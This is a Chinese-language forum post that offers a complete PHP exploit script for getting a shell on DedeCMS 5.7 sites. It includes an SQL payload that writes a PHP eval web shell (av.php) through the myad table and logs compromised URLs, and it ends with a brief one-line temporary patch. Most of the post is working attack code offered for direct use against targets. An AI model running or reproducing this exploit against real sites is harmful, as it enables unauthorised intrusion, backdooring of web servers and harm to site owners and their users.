dede 好火 老衲也来凑个热闹吧
其实getshell 方法很多 不要一直纠结 怎么插入 mytag 表 比如附近的myad表就是个好地方 update 个一句话啥的 不多说了 不多说了 直接给 getshell exp吧
getshell exp
<?php
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
if(!$argv[1]){
echo "
/*======================================================================================
====Name:dedecms 5.7 getshell ====
========================================================================================
====Usage:php dede.php http://www.av.com ====
========================================================================================
====Team:C0dePlay Team www.C0dePlay.com ====
========================================================================================
====Author: Yaseng 『WwW.Yaseng.Me』 ====
====Date: 2012-06-15 01:35:00 ====
======================================================================================*/
";
exit();
}
exploit($argv[1]);
function fuck_dede($sql){
$str="";
for($i=0;$i< strlen($sql);$i++){
$str.="arrs2[]=".ord($sql[$i])."&";
}
return $str;
}
function exploit($site){
msg("Pentest:".$site);
$sql1=file_get_contents("1.txt");
file_get_contents($site."/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&".fuck_dede($sql1));
file_get_contents($site."/plus/ad_js.php?aid=1&nocache=1");
$shell=$site."/plus/av.php";
if(strpos(file_get_contents($shell),'x')){
msg("Exploit Succeed :".$shell);
file_put_contents("dedeshell.txt",$shell."\r\n",FILE_APPEND);
}else{
msg("Exploit failed:".$shell);
}
}
function msg($str,$type=1){
$str=($type) ? "[+]".$str : "[-]".$str;
echo $str."\r\n";
}
?>
要修改密码啥的 直接改 1.txt吧
#1.txt
myad` SET normbody='<?php $fp = @fopen(''av.php'', ''a'');@fwrite($fp, ''<?php eval($_POST[110]) ?>axxxxx'');echo ''OK'';@fclose($fp);?>' where aid =1 #
演示:
临时补丁
不知道别的地方还有没有覆盖变量 反正这个漏洞是修复的 试了下 貌似不影响网站运行
include/dedesql.class.php
if(isset($GLOBALS['arrs1']))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
// $v2 .= chr($arrs2[$i]); //注释这里
}
$GLOBALS[$v1] .= $v2;
}
